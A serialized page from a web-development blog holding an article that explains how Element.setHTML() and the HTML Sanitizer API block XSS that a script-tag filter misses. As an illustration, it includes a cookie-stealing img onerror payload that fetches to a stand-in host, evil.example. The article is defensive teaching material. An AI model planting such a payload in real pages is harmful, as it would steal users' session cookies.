[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"verticals":3,"quiz-html-sanitizer-api-native-xss-defense":44,"search-suggestions":60,"quiz-article-html-sanitizer-api-native-xss-defense":109},[4,20,32],{"id":5,"slug":6,"name":7,"tagline":8,"description":9,"accentFrom":10,"accentTo":11,"icon":12,"defaultLocale":13,"locales":14,"features":16,"position":19},"019fe637-3d33-714b-b57f-23e163ffca0c","dev","Web Development","Read it. Run it. Prove it.","A post a day on modern web development — most with an editable playground and a quiz that explains every answer. Free, no account needed.","violet-500","cyan-400","◇","en",[13,15],"fa",{"courses":17,"paths":17,"articles":17,"exams":18,"flashcards":18,"packages":17,"community":17,"certificates":17,"teams":17,"commerce":17},true,false,0,{"id":21,"slug":22,"name":23,"tagline":24,"description":25,"accentFrom":26,"accentTo":10,"icon":27,"defaultLocale":13,"locales":28,"features":30,"position":31},"019fe637-3dc2-754c-8657-0f175bfee7c6","lang","Languages","Learn a language the way you learn a codebase.","Grammar explained the way good documentation explains an API — one idea at a time, each with a quiz.","amber-400","⌘",[13,15,29],"es",{"courses":18,"paths":18,"articles":17,"exams":18,"flashcards":17,"packages":18,"community":17,"certificates":17,"teams":18,"commerce":18},2,{"id":33,"slug":34,"name":35,"tagline":36,"description":37,"accentFrom":38,"accentTo":39,"icon":40,"defaultLocale":13,"locales":41,"features":42,"position":43},"7b3c16f2-931d-410e-802e-e1fa4edab7de","soft","Soft Skills","The half of the job nobody wrote documentation for.","Weekly, on the parts of working life that decide more than your code does — first weeks, meetings, interviews, promotions, and the people around you. Written from what actually happens, and recorded as a podcast you can listen to on the walk.","emerald-400","teal-300","◉",[13],{"courses":18,"paths":18,"articles":17,"exams":18,"flashcards":18,"packages":18,"community":17,"certificates":18,"teams":18,"commerce":18},3,{"id":45,"slug":46,"kind":47,"title":48,"description":49,"config":50,"verticalId":5,"vertical":55,"course":52,"_count":56,"access":57,"attempts":59,"questionCount":51},"01a0ec73-1328-71a8-a176-a9c0340dd4ae","html-sanitizer-api-native-xss-defense","PRACTICE_QUIZ","setHTML() and the HTML Sanitizer API","Test how well the innerHTML-to-setHTML switch landed: what setHTML() always strips, how elements, replaceWithChildrenElements and removeElements differ, why the 2022 config keys fail silently, and why setHTMLUnsafe() is named that way.",{"questionCount":51,"timeLimitSec":52,"shuffleQuestions":18,"shuffleOptions":17,"negativeMarking":19,"passScorePct":53,"maxAttempts":52,"revealAnswers":54,"allowFlagging":18,"allowBacktracking":17},9,null,70,"AFTER_SUBMIT",{"slug":6,"name":7},{"questions":51},{"allowed":17,"reason":58},"FREE",[],[61,65,69,73,77,81,85,89,93,97,101,105],{"slug":62,"name":63,"articles":64},"webdev","Webdev",115,{"slug":66,"name":67,"articles":68},"javascript","Javascript",97,{"slug":70,"name":71,"articles":72},"frontend","Frontend",75,{"slug":74,"name":75,"articles":76},"tutorial","Tutorial",41,{"slug":78,"name":79,"articles":80},"css","Css",36,{"slug":82,"name":83,"articles":84},"typescript","Typescript",17,{"slug":86,"name":87,"articles":88},"performance","Performance",14,{"slug":90,"name":91,"articles":92},"react","React",13,{"slug":94,"name":95,"articles":96},"browser","Browser",11,{"slug":98,"name":99,"articles":100},"node","Node",10,{"slug":102,"name":103,"articles":104},"html","Html",8,{"slug":106,"name":107,"articles":108},"accessibility","Accessibility",7,{"id":110,"slug":46,"title":111,"subtitle":52,"excerpt":112,"coverUrl":113,"locale":13,"readingMinutes":108,"publishedAt":114,"viewCount":115,"likeCount":19,"commentCount":19,"author":116,"vertical":121,"topic":122,"tags":124,"_count":133,"playground":135,"body":137,"bodyMd":310,"seo":311,"translationGroupId":314,"series":52,"podcastUrl":52,"verticalId":5,"thread":315,"assessments":317,"translations":320,"quiz":322},"01a0ec73-12ea-75ae-90e1-d8031bcfb0f1","Blocking `\u003Cscript>` Won't Stop innerHTML XSS. `setHTML()` Will.","A regex that strips \u003Cscript> tags misses the XSS that actually runs — an onerror attribute. Element.setHTML(), from the HTML Sanitizer API, strips it natively, and for once Firefox shipped the finished version before Chrome did.","\u002Fmedia\u002Fcovers\u002Fhtml-sanitizer-api-native-xss-defense.png","2026-09-30T06:10:48.329Z",31,{"id":117,"name":118,"username":119,"avatarUrl":52,"headline":120},"019fe637-3c25-7088-9034-39c9f15dc3c8","Parsa Jiravand","parsa","Frontend engineer · building bestpractic",{"slug":6,"name":7,"accentFrom":10,"accentTo":11},{"slug":66,"name":123},"JavaScript",[125,126,129,130],{"slug":66,"name":67,"color":52},{"slug":127,"name":128,"color":52},"security","Security",{"slug":62,"name":63,"color":52},{"slug":131,"name":132,"color":52},"api","API",{"assessments":134},1,{"slug":46,"title":136},"setHTML() vs innerHTML — interactive playground",{"blocks":138,"version":134},[139,143,149,152,155,159,162,165,170,173,177,180,183,186,189,192,196,199,202,205,209,212,215,218,221,224,227,230,233,236,240,243,246,249,252,255,258,261,264,267,270,273,276,279,282,285,292,295,298,301,304],{"id":140,"html":141,"type":142},"b1","\u003Cp>Somewhere in your app there&#39;s a line that looks like this:\u003C\u002Fp>","paragraph",{"id":144,"code":145,"type":146,"language":147,"highlight":148},"b2","commentBox.innerHTML = comment.body;","code","js",[],{"id":150,"html":151,"type":142},"b3","\u003Cp>It renders user text as HTML so bold text and links work instead of showing up as literal \u003Ccode>&lt;b&gt;\u003C\u002Fcode> tags. You test it with a normal comment. Looks fine. Ships.\u003C\u002Fp>",{"id":153,"html":154,"type":142},"b4","\u003Cp>Then someone posts this:\u003C\u002Fp>",{"id":156,"code":157,"type":146,"language":102,"highlight":158},"b5","\u003Cimg src=\"x\" onerror=\"fetch('https:\u002F\u002Fevil.example\u002Fsteal?c=' + document.cookie)\">",[],{"id":160,"html":161,"type":142},"b6","\u003Cp>No \u003Ccode>&lt;script&gt;\u003C\u002Fcode> tag. No obvious red flag if you&#39;re eyeballing it. And it runs — the instant the browser tries to load \u003Ccode>x\u003C\u002Fcode> as an image, fails, and calls the \u003Ccode>onerror\u003C\u002Fcode> handler sitting right there in the attribute.\u003C\u002Fp>",{"id":163,"html":164,"type":142},"b7","\u003Cp>\u003Cstrong>Guess before you scroll: would a filter that blocks \u003Ccode>&lt;script&gt;\u003C\u002Fcode> tags stop this one?\u003C\u002Fstrong>\u003C\u002Fp>",{"id":166,"html":167,"text":168,"type":169,"level":31},"b8","The blocklist that doesn&#39;t block anything","The blocklist that doesn't block anything","heading",{"id":171,"html":172,"type":142},"b9","\u003Cp>The instinct, the first time you see this, is to strip the obvious stuff:\u003C\u002Fp>",{"id":174,"code":175,"type":146,"language":147,"highlight":176},"b10","function naiveSanitize(html) {\n  return html.replace(\u002F\u003Cscript.*?>.*?\u003C\\\u002Fscript>\u002Fgi, \"\");\n}",[],{"id":178,"html":179,"type":142},"b11","\u003Cp>That line stops \u003Ccode>&lt;script&gt;alert(1)&lt;\u002Fscript&gt;\u003C\u002Fcode>. It does nothing to the \u003Ccode>&lt;img onerror&gt;\u003C\u002Fcode> payload above, because there&#39;s no \u003Ccode>&lt;script&gt;\u003C\u002Fcode> tag to match. It also does nothing to \u003Ccode>&lt;a href=&quot;javascript:stealCookies()&quot;&gt;click&lt;\u002Fa&gt;\u003C\u002Fcode>, or \u003Ccode>&lt;svg onload=&quot;...&quot;&gt;\u003C\u002Fcode>, or a dozen other attribute-based ways to run code without ever writing the word &quot;script.&quot;\u003C\u002Fp>",{"id":181,"html":182,"type":142},"b12","\u003Cp>Here&#39;s the part that trips people up even more: \u003Cstrong>\u003Ccode>&lt;script&gt;\u003C\u002Fcode> tags inserted via \u003Ccode>innerHTML\u003C\u002Fcode> never execute in the first place.\u003C\u002Fstrong> Browsers parse them into inert \u003Ccode>HTMLScriptElement\u003C\u002Fcode> nodes on purpose — it&#39;s one of the oldest DOM security rules there is. So a filter built to catch \u003Ccode>&lt;script&gt;\u003C\u002Fcode> is patching a hole that was never open, while leaving every \u003Ccode>on*\u003C\u002Fcode> attribute and \u003Ccode>javascript:\u003C\u002Fcode> URL completely untouched. That&#39;s the trap: the fix that feels obvious defends against the one vector that was already safe.\u003C\u002Fp>",{"id":184,"html":185,"type":142},"b13","\u003Cp>The actual fix, for the better part of a decade, has been &quot;import DOMPurify and call \u003Ccode>DOMPurify.sanitize()\u003C\u002Fcode> on every string before it touches \u003Ccode>innerHTML\u003C\u002Fcode>.&quot; It works. It&#39;s also a dependency you have to remember to reach for on every single call site — one missed \u003Ccode>innerHTML =\u003C\u002Fcode> in a codebase with 40 of them, and you&#39;re back to the \u003Ccode>onerror\u003C\u002Fcode> bug.\u003C\u002Fp>",{"id":187,"html":188,"text":188,"type":169,"level":31},"b14","The browser does it for you now",{"id":190,"html":191,"type":142},"b15","\u003Cp>\u003Ccode>Element.prototype.setHTML()\u003C\u002Fcode> is a newer, narrower method than \u003Ccode>innerHTML\u003C\u002Fcode>: it parses a string into a DOM subtree the same way, but it always removes anything the spec considers XSS-unsafe first — no configuration required.\u003C\u002Fp>",{"id":193,"code":194,"type":146,"language":147,"highlight":195},"b16","\u002F\u002F unsafe — runs the onerror handler\ncommentBox.innerHTML = comment.body;\n\n\u002F\u002F safe — onerror is always stripped (the default config drops the whole \u003Cimg>)\ncommentBox.setHTML(comment.body);",[],{"id":197,"html":198,"type":142},"b17","\u003Cp>That removal can&#39;t be configured away, on purpose. \u003Ccode>&lt;script&gt;\u003C\u002Fcode>, \u003Ccode>&lt;iframe&gt;\u003C\u002Fcode>, \u003Ccode>&lt;frame&gt;\u003C\u002Fcode>, \u003Ccode>&lt;embed&gt;\u003C\u002Fcode>, \u003Ccode>&lt;object&gt;\u003C\u002Fcode>, SVG \u003Ccode>&lt;use&gt;\u003C\u002Fcode>, every \u003Ccode>on*\u003C\u002Fcode> event-handler attribute, and \u003Ccode>javascript:\u003C\u002Fcode> URLs in links and form actions get removed whatever sanitizer config you pass. (A 2026 spec change added \u003Ccode>&lt;base&gt;\u003C\u002Fcode> to that list; Chrome enforces it from version 153.) You can&#39;t opt back into &quot;please allow onerror.&quot; That&#39;s the whole point of the method existing. If you want a whole sanitized document back instead of a filled-in element, \u003Ccode>Document.parseHTML()\u003C\u002Fcode> applies the same rules.\u003C\u002Fp>",{"id":200,"html":201,"type":142},"b18","\u003Cp>The default config goes further than that list. It&#39;s an allowlist, and a stricter one than most people expect: it also drops comments, \u003Ccode>data-*\u003C\u002Fcode>, \u003Ccode>class\u003C\u002Fcode>, \u003Ccode>id\u003C\u002Fcode>, \u003Ccode>style\u003C\u002Fcode>, \u003Ccode>target\u003C\u002Fcode> and \u003Ccode>rel\u003C\u002Fcode> attributes, and whole elements like \u003Ccode>&lt;img&gt;\u003C\u002Fcode>, \u003Ccode>&lt;style&gt;\u003C\u002Fcode>, \u003Ccode>&lt;form&gt;\u003C\u002Fcode> and \u003Ccode>&lt;details&gt;\u003C\u002Fcode>, contents included. So test real content before you swap it in for \u003Ccode>innerHTML\u003C\u002Fcode>.\u003C\u002Fp>",{"id":203,"html":204,"type":142},"b19","\u003Cp>When you want a different allowlist, pass your own config:\u003C\u002Fp>",{"id":206,"code":207,"type":146,"language":147,"highlight":208},"b20","const commentSanitizer = new Sanitizer({\n  elements: [\"p\", \"b\", \"i\", \"em\", \"strong\", { name: \"a\", attributes: [\"href\"] }, \"br\"],\n  attributes: [],\n  comments: false,\n  dataAttributes: false,\n});\n\ncommentBox.setHTML(comment.body, { sanitizer: commentSanitizer });",[],{"id":210,"html":211,"type":142},"b21","\u003Cp>\u003Ccode>elements\u003C\u002Fcode> narrows what&#39;s kept to exactly that list. Anything else is removed \u003Cem>along with everything inside it\u003C\u002Fem>, which is why \u003Ccode>p\u003C\u002Fcode> is in the list: leave it out and a whole \u003Ccode>&lt;p&gt;\u003C\u002Fcode> of allowed \u003Ccode>&lt;b&gt;\u003C\u002Fcode> text vanishes. For surgical edits there&#39;s \u003Ccode>replaceWithChildrenElements\u003C\u002Fcode>, which removes a tag but keeps its children, and \u003Ccode>removeElements\u003C\u002Fcode>, which removes the tag \u003Cem>and\u003C\u002Fem> everything inside it. A \u003Ccode>&lt;span&gt;\u003C\u002Fcode> in \u003Ccode>replaceWithChildrenElements\u003C\u002Fcode> still shows its text; an \u003Ccode>&lt;h6&gt;\u003C\u002Fcode> in \u003Ccode>removeElements\u003C\u002Fcode> disappears along with whatever was in it. (\u003Ccode>removeElements\u003C\u002Fcode> is the blocklist style of config, so it can&#39;t sit next to \u003Ccode>elements\u003C\u002Fcode> in the same config. That combination throws a \u003Ccode>TypeError\u003C\u002Fcode>.)\u003C\u002Fp>",{"id":213,"html":214,"type":142},"b22","\u003Cp>The last three lines aren&#39;t decoration either. Leave out \u003Ccode>attributes: []\u003C\u002Fcode> and every attribute on an allowed element survives (\u003Ccode>class\u003C\u002Fcode>, \u003Ccode>style\u003C\u002Fcode>, \u003Ccode>id\u003C\u002Fcode>, \u003Ccode>data-*\u003C\u002Fcode>), minus the forced removals. And \u003Ccode>new Sanitizer()\u003C\u002Fcode> fills in \u003Cem>permissive\u003C\u002Fem> defaults for whatever you leave out: \u003Ccode>comments\u003C\u002Fcode> becomes \u003Ccode>true\u003C\u002Fcode>, and so does \u003Ccode>dataAttributes\u003C\u002Fcode> once you list \u003Ccode>attributes\u003C\u002Fcode>. Spell all three out.\u003C\u002Fp>",{"id":216,"html":217,"type":142},"b23","\u003Cp>\u003Cstrong>Copying from an older tutorial? Check the key names first.\u003C\u002Fstrong> Posts from the Chrome 105 era use \u003Ccode>allowElements\u003C\u002Fcode>, \u003Ccode>allowAttributes\u003C\u002Fcode>, \u003Ccode>blockElements\u003C\u002Fcode> and \u003Ccode>dropElements\u003C\u002Fcode>. Current browsers don&#39;t reject those names. They silently ignore them, and a config with no keys they recognize means &quot;remove nothing extra.&quot; So \u003Ccode>new Sanitizer({ allowElements: [&quot;b&quot;] })\u003C\u002Fcode> isn&#39;t strict at all. It&#39;s \u003Cem>looser\u003C\u002Fem> than plain \u003Ccode>setHTML()\u003C\u002Fcode>: in Chrome 154 and Firefox 156 it let \u003Ccode>class\u003C\u002Fcode>, \u003Ccode>style\u003C\u002Fcode>, comments, \u003Ccode>&lt;img&gt;\u003C\u002Fcode> and even \u003Ccode>&lt;style&gt;\u003C\u002Fcode> elements straight through, stopping only at the always-removed list. Call \u003Ccode>sanitizer.get()\u003C\u002Fcode> to see what the browser actually understood. For that config it comes back as empty \u003Ccode>removeElements\u003C\u002Fcode> and \u003Ccode>removeAttributes\u003C\u002Fcode> lists with \u003Ccode>comments: true\u003C\u002Fcode>.\u003C\u002Fp>",{"id":219,"html":220,"text":220,"type":169,"level":31},"b24","The one gotcha in the name",{"id":222,"html":223,"type":142},"b25","\u003Cp>There&#39;s a sibling method, \u003Ccode>setHTMLUnsafe()\u003C\u002Fcode>, and the name is doing real work: it performs \u003Cstrong>no sanitization unless you pass a sanitizer\u003C\u002Fstrong>. Without one, everything in the string lands in the DOM: the \u003Ccode>onerror\u003C\u002Fcode> handler that fires, the \u003Ccode>javascript:\u003C\u002Fcode> link, even \u003Ccode>&lt;script&gt;\u003C\u002Fcode> elements (inert, as with \u003Ccode>innerHTML\u003C\u002Fcode>). With one, it removes only what that config says. It never adds \u003Ccode>setHTML()\u003C\u002Fcode>&#39;s always-on removals. And don&#39;t read &quot;the method exists&quot; as &quot;the option works&quot;: Safari has shipped \u003Ccode>setHTMLUnsafe()\u003C\u002Fcode> since Safari 26, but not its \u003Ccode>sanitizer\u003C\u002Fcode> option, so a sanitizer you hand it there does nothing.\u003C\u002Fp>",{"id":225,"html":226,"type":142},"b26","\u003Cp>Why does it exist at all? For markup you already trust and need verbatim, typically your own server-rendered HTML, including \u003Cstrong>declarative shadow roots\u003C\u002Fstrong> (\u003Ccode>&lt;template shadowrootmode=&quot;open&quot;&gt;\u003C\u002Fcode>). \u003Ccode>innerHTML\u003C\u002Fcode> never turns those into shadow roots; it leaves an inert \u003Ccode>&lt;template&gt;\u003C\u002Fcode>. \u003Ccode>setHTML()\u003C\u002Fcode>&#39;s default config doesn&#39;t allow \u003Ccode>&lt;template&gt;\u003C\u002Fcode>, so it drops the whole thing. Even with a config that allows \u003Ccode>&lt;template&gt;\u003C\u002Fcode> and its \u003Ccode>shadowrootmode\u003C\u002Fcode> attribute, engines currently disagree: Chrome 154 attaches a real shadow root, Firefox 156 leaves an inert \u003Ccode>&lt;template&gt;\u003C\u002Fcode>. \u003Ccode>setHTMLUnsafe()\u003C\u002Fcode> attaches it in every engine that has the method. That&#39;s a legitimate, narrow use case (reviving your own markup) and not a reason to reach for it on anything a user typed.\u003C\u002Fp>",{"id":228,"html":229,"text":229,"type":169,"level":31},"b27","Where this actually runs today",{"id":231,"html":232,"type":142},"b28","\u003Cp>This is the part worth checking before you rely on it: Firefox shipped the finished, standardized version in Firefox 148 (February 24, 2026), first across the line and two weeks ahead of Chrome 146 (March 10). That&#39;s not the usual order for a new web platform API. Chrome had shipped an earlier version of the Sanitizer API back in Chrome 105 (2022), then removed it in Chrome 119 the following year because the spec was redesigned out from under it. That early version is where the \u003Ccode>allowElements\u003C\u002Fcode>-style names come from. Safari hasn&#39;t implemented it as of this writing, Safari 27 included. There&#39;s an open WebKit bug tracking it, with no committed timeline, so the API isn&#39;t Baseline yet.\u003C\u002Fp>",{"id":234,"html":235,"type":142},"b29","\u003Cp>Feature-detect rather than assume either way:\u003C\u002Fp>",{"id":237,"code":238,"type":146,"language":147,"highlight":239},"b30","if (\"setHTML\" in Element.prototype) {\n  commentBox.setHTML(comment.body);\n} else {\n  commentBox.innerHTML = DOMPurify.sanitize(comment.body);\n}",[],{"id":241,"html":242,"type":142},"b31","\u003Cp>Two details if you pass a custom allowlist. Create the \u003Ccode>Sanitizer\u003C\u002Fcode> inside the native branch, because \u003Ccode>new Sanitizer()\u003C\u002Fcode> throws a \u003Ccode>ReferenceError\u003C\u002Fcode> in a browser that doesn&#39;t have it. And give DOMPurify the same list (\u003Ccode>ALLOWED_TAGS\u003C\u002Fcode>, \u003Ccode>ALLOWED_ATTR\u003C\u002Fcode>). Its defaults aren&#39;t \u003Ccode>setHTML()\u003C\u002Fcode>&#39;s, so otherwise the two branches render the same comment differently.\u003C\u002Fp>",{"id":244,"html":245,"type":142},"b32","\u003Cp>Keep DOMPurify in the fallback branch until Safari catches up — not because the native method is worse, but because &quot;sanitized in two browsers, wide open in the third&quot; isn&#39;t a security posture. The native method is the one you get to delete eventually; today it&#39;s the fast path, not the only path.\u003C\u002Fp>",{"id":247,"html":248,"type":142},"b33","\u003C!-- playground:start -->",{"id":250,"html":251,"text":251,"type":169,"level":31},"b34","🎮 Try it yourself",{"id":253,"html":254,"type":142},"b35","\u003Cp>\u003Cstrong>\u003Ca href=\"https:\u002F\u002Fbestpractic.org\u002Fblog\u002Fhtml-sanitizer-api-native-xss-defense\u002Fplayground\">▶️ Open the interactive playground →\u003C\u002Fa>\u003C\u002Fstrong>\u003C\u002Fp>",{"id":256,"html":257,"type":142},"b36","\u003Cp>\u003Cem>Runs right in your browser — poke at it and watch the concept react live.\u003C\u002Fem>\u003C\u002Fp>",{"id":259,"html":260,"type":142},"b37","\u003C!-- playground:end -->",{"id":262,"html":263,"type":142},"b38","\u003Cp>So: the filter that looks like it should catch an XSS payload — matching \u003Ccode>&lt;script&gt;\u003C\u002Fcode> — was never the vector in the first place. The real hole was in an attribute, and it took a browser method built specifically to close attribute-based holes, by default, with no flag to turn it back off. Even then, the same trap waits one level up: a config written with the 2022 key names looks strict and blocks nothing extra. What&#39;s the last &quot;obviously safe&quot; filter you shipped that turned out to be blocking the wrong thing entirely?\u003C\u002Fp>",{"id":265,"html":266,"type":142},"b39","\u003C!-- quiz:start -->",{"id":268,"html":269,"text":269,"type":169,"level":31},"b40","🧠 Test yourself",{"id":271,"html":272,"type":142},"b41","\u003Cp>Think it clicked? \u003Cstrong>\u003Ca href=\"https:\u002F\u002Fbestpractic.org\u002Fblog\u002Fhtml-sanitizer-api-native-xss-defense\u002Fquiz\">Take the 9-question quiz →\u003C\u002Fa>\u003C\u002Fstrong>\u003C\u002Fp>",{"id":274,"html":275,"type":142},"b42","\u003Cp>\u003Cem>Instant feedback, a hint on every question, and an explanation for each answer — right or wrong.\u003C\u002Fem>\u003C\u002Fp>",{"id":277,"html":278,"type":142},"b43","\u003C!-- quiz:end -->",{"id":280,"html":281,"type":142},"b44","\u003C!-- related:start -->",{"id":283,"html":284,"text":284,"type":169,"level":31},"b45","📚 Read next",{"id":286,"type":287,"items":288,"ordered":18},"b46","list",[289,290,291],"\u003Ca href=\"https:\u002F\u002Fbestpractic.org\u002Fblog\u002Fwebauthn-passkeys-discoverable-credentials\">I Shipped &#39;Passwordless Login.&#39; It Still Asked for a Username.\u003C\u002Fa>","\u003Ca href=\"https:\u002F\u002Fbestpractic.org\u002Fblog\u002Fpermissions-api-query-before-prompt\">getCurrentPosition() Doesn&#39;t Just Check — It Prompts\u003C\u002Fa>","\u003Ca href=\"https:\u002F\u002Fbestpractic.org\u002Fblog\u002Fcookie-store-api-async-cookies\">Stop Regex-Parsing document.cookie. Use CookieStore\u003C\u002Fa>",{"id":293,"html":294,"type":142},"b47","\u003C!-- related:end -->",{"id":296,"type":297},"b48","divider",{"id":299,"html":300,"type":142},"b49","\u003Cp>🚀 \u003Cstrong>Want more like this?\u003C\u002Fstrong> Every guide, playground, and quiz lives on \u003Cstrong>\u003Ca href=\"https:\u002F\u002Fbestpractic.org\u002F\">bestpractic.org\u003C\u002Fa>\u003C\u002Fstrong> — open it and \u003Cstrong>\u003Ca href=\"https:\u002F\u002Fbestpractic.org\u002F\">sign up free\u003C\u002Fa>\u003C\u002Fstrong> so the next one finds you.\u003C\u002Fp>",{"id":302,"html":303,"type":142},"b50","\u003Cp>\u003Cem>Thanks for reading! Let&#39;s stay connected:\u003C\u002Fem>\u003C\u002Fp>",{"id":305,"type":287,"items":306,"ordered":18},"b51",[307,308,309],"⭐ \u003Cstrong>GitHub\u003C\u002Fstrong> — follow me and star the projects: \u003Ca href=\"https:\u002F\u002Fgithub.com\u002Fparsajiravand\">github.com\u002Fparsajiravand\u003C\u002Fa>","💬 \u003Cstrong>Discord\u003C\u002Fstrong> — join the frontend best-practices community: \u003Ca href=\"https:\u002F\u002Fdiscord.gg\u002Fd9KRhuAwQ\">discord.gg\u002Fd9KRhuAwQ\u003C\u002Fa>","📸 \u003Cstrong>Instagram\u003C\u002Fstrong> — frontend best practices, daily: \u003Ca href=\"https:\u002F\u002Fwww.instagram.com\u002Fbestpractice___\u002F\">@bestpractice___\u003C\u002Fa>","Somewhere in your app there's a line that looks like this:\n\n```js\ncommentBox.innerHTML = comment.body;\n```\n\nIt renders user text as HTML so bold text and links work instead of showing up as literal `\u003Cb>` tags. You test it with a normal comment. Looks fine. Ships.\n\nThen someone posts this:\n\n```html\n\u003Cimg src=\"x\" onerror=\"fetch('https:\u002F\u002Fevil.example\u002Fsteal?c=' + document.cookie)\">\n```\n\nNo `\u003Cscript>` tag. No obvious red flag if you're eyeballing it. And it runs — the instant the browser tries to load `x` as an image, fails, and calls the `onerror` handler sitting right there in the attribute.\n\n**Guess before you scroll: would a filter that blocks `\u003Cscript>` tags stop this one?**\n\n## The blocklist that doesn't block anything\n\nThe instinct, the first time you see this, is to strip the obvious stuff:\n\n```js\nfunction naiveSanitize(html) {\n  return html.replace(\u002F\u003Cscript.*?>.*?\u003C\\\u002Fscript>\u002Fgi, \"\");\n}\n```\n\nThat line stops `\u003Cscript>alert(1)\u003C\u002Fscript>`. It does nothing to the `\u003Cimg onerror>` payload above, because there's no `\u003Cscript>` tag to match. It also does nothing to `\u003Ca href=\"javascript:stealCookies()\">click\u003C\u002Fa>`, or `\u003Csvg onload=\"...\">`, or a dozen other attribute-based ways to run code without ever writing the word \"script.\"\n\nHere's the part that trips people up even more: **`\u003Cscript>` tags inserted via `innerHTML` never execute in the first place.** Browsers parse them into inert `HTMLScriptElement` nodes on purpose — it's one of the oldest DOM security rules there is. So a filter built to catch `\u003Cscript>` is patching a hole that was never open, while leaving every `on*` attribute and `javascript:` URL completely untouched. That's the trap: the fix that feels obvious defends against the one vector that was already safe.\n\nThe actual fix, for the better part of a decade, has been \"import DOMPurify and call `DOMPurify.sanitize()` on every string before it touches `innerHTML`.\" It works. It's also a dependency you have to remember to reach for on every single call site — one missed `innerHTML =` in a codebase with 40 of them, and you're back to the `onerror` bug.\n\n## The browser does it for you now\n\n`Element.prototype.setHTML()` is a newer, narrower method than `innerHTML`: it parses a string into a DOM subtree the same way, but it always removes anything the spec considers XSS-unsafe first — no configuration required.\n\n```js\n\u002F\u002F unsafe — runs the onerror handler\ncommentBox.innerHTML = comment.body;\n\n\u002F\u002F safe — onerror is always stripped (the default config drops the whole \u003Cimg>)\ncommentBox.setHTML(comment.body);\n```\n\nThat removal can't be configured away, on purpose. `\u003Cscript>`, `\u003Ciframe>`, `\u003Cframe>`, `\u003Cembed>`, `\u003Cobject>`, SVG `\u003Cuse>`, every `on*` event-handler attribute, and `javascript:` URLs in links and form actions get removed whatever sanitizer config you pass. (A 2026 spec change added `\u003Cbase>` to that list; Chrome enforces it from version 153.) You can't opt back into \"please allow onerror.\" That's the whole point of the method existing. If you want a whole sanitized document back instead of a filled-in element, `Document.parseHTML()` applies the same rules.\n\nThe default config goes further than that list. It's an allowlist, and a stricter one than most people expect: it also drops comments, `data-*`, `class`, `id`, `style`, `target` and `rel` attributes, and whole elements like `\u003Cimg>`, `\u003Cstyle>`, `\u003Cform>` and `\u003Cdetails>`, contents included. So test real content before you swap it in for `innerHTML`.\n\nWhen you want a different allowlist, pass your own config:\n\n```js\nconst commentSanitizer = new Sanitizer({\n  elements: [\"p\", \"b\", \"i\", \"em\", \"strong\", { name: \"a\", attributes: [\"href\"] }, \"br\"],\n  attributes: [],\n  comments: false,\n  dataAttributes: false,\n});\n\ncommentBox.setHTML(comment.body, { sanitizer: commentSanitizer });\n```\n\n`elements` narrows what's kept to exactly that list. Anything else is removed *along with everything inside it*, which is why `p` is in the list: leave it out and a whole `\u003Cp>` of allowed `\u003Cb>` text vanishes. For surgical edits there's `replaceWithChildrenElements`, which removes a tag but keeps its children, and `removeElements`, which removes the tag *and* everything inside it. A `\u003Cspan>` in `replaceWithChildrenElements` still shows its text; an `\u003Ch6>` in `removeElements` disappears along with whatever was in it. (`removeElements` is the blocklist style of config, so it can't sit next to `elements` in the same config. That combination throws a `TypeError`.)\n\nThe last three lines aren't decoration either. Leave out `attributes: []` and every attribute on an allowed element survives (`class`, `style`, `id`, `data-*`), minus the forced removals. And `new Sanitizer()` fills in *permissive* defaults for whatever you leave out: `comments` becomes `true`, and so does `dataAttributes` once you list `attributes`. Spell all three out.\n\n**Copying from an older tutorial? Check the key names first.** Posts from the Chrome 105 era use `allowElements`, `allowAttributes`, `blockElements` and `dropElements`. Current browsers don't reject those names. They silently ignore them, and a config with no keys they recognize means \"remove nothing extra.\" So `new Sanitizer({ allowElements: [\"b\"] })` isn't strict at all. It's *looser* than plain `setHTML()`: in Chrome 154 and Firefox 156 it let `class`, `style`, comments, `\u003Cimg>` and even `\u003Cstyle>` elements straight through, stopping only at the always-removed list. Call `sanitizer.get()` to see what the browser actually understood. For that config it comes back as empty `removeElements` and `removeAttributes` lists with `comments: true`.\n\n## The one gotcha in the name\n\nThere's a sibling method, `setHTMLUnsafe()`, and the name is doing real work: it performs **no sanitization unless you pass a sanitizer**. Without one, everything in the string lands in the DOM: the `onerror` handler that fires, the `javascript:` link, even `\u003Cscript>` elements (inert, as with `innerHTML`). With one, it removes only what that config says. It never adds `setHTML()`'s always-on removals. And don't read \"the method exists\" as \"the option works\": Safari has shipped `setHTMLUnsafe()` since Safari 26, but not its `sanitizer` option, so a sanitizer you hand it there does nothing.\n\nWhy does it exist at all? For markup you already trust and need verbatim, typically your own server-rendered HTML, including **declarative shadow roots** (`\u003Ctemplate shadowrootmode=\"open\">`). `innerHTML` never turns those into shadow roots; it leaves an inert `\u003Ctemplate>`. `setHTML()`'s default config doesn't allow `\u003Ctemplate>`, so it drops the whole thing. Even with a config that allows `\u003Ctemplate>` and its `shadowrootmode` attribute, engines currently disagree: Chrome 154 attaches a real shadow root, Firefox 156 leaves an inert `\u003Ctemplate>`. `setHTMLUnsafe()` attaches it in every engine that has the method. That's a legitimate, narrow use case (reviving your own markup) and not a reason to reach for it on anything a user typed.\n\n## Where this actually runs today\n\nThis is the part worth checking before you rely on it: Firefox shipped the finished, standardized version in Firefox 148 (February 24, 2026), first across the line and two weeks ahead of Chrome 146 (March 10). That's not the usual order for a new web platform API. Chrome had shipped an earlier version of the Sanitizer API back in Chrome 105 (2022), then removed it in Chrome 119 the following year because the spec was redesigned out from under it. That early version is where the `allowElements`-style names come from. Safari hasn't implemented it as of this writing, Safari 27 included. There's an open WebKit bug tracking it, with no committed timeline, so the API isn't Baseline yet.\n\nFeature-detect rather than assume either way:\n\n```js\nif (\"setHTML\" in Element.prototype) {\n  commentBox.setHTML(comment.body);\n} else {\n  commentBox.innerHTML = DOMPurify.sanitize(comment.body);\n}\n```\n\nTwo details if you pass a custom allowlist. Create the `Sanitizer` inside the native branch, because `new Sanitizer()` throws a `ReferenceError` in a browser that doesn't have it. And give DOMPurify the same list (`ALLOWED_TAGS`, `ALLOWED_ATTR`). Its defaults aren't `setHTML()`'s, so otherwise the two branches render the same comment differently.\n\nKeep DOMPurify in the fallback branch until Safari catches up — not because the native method is worse, but because \"sanitized in two browsers, wide open in the third\" isn't a security posture. The native method is the one you get to delete eventually; today it's the fast path, not the only path.\n\n\u003C!-- playground:start -->\n\n## 🎮 Try it yourself\n\n**[▶️ Open the interactive playground →](https:\u002F\u002Fbestpractic.org\u002Fblog\u002Fhtml-sanitizer-api-native-xss-defense\u002Fplayground)**\n\n_Runs right in your browser — poke at it 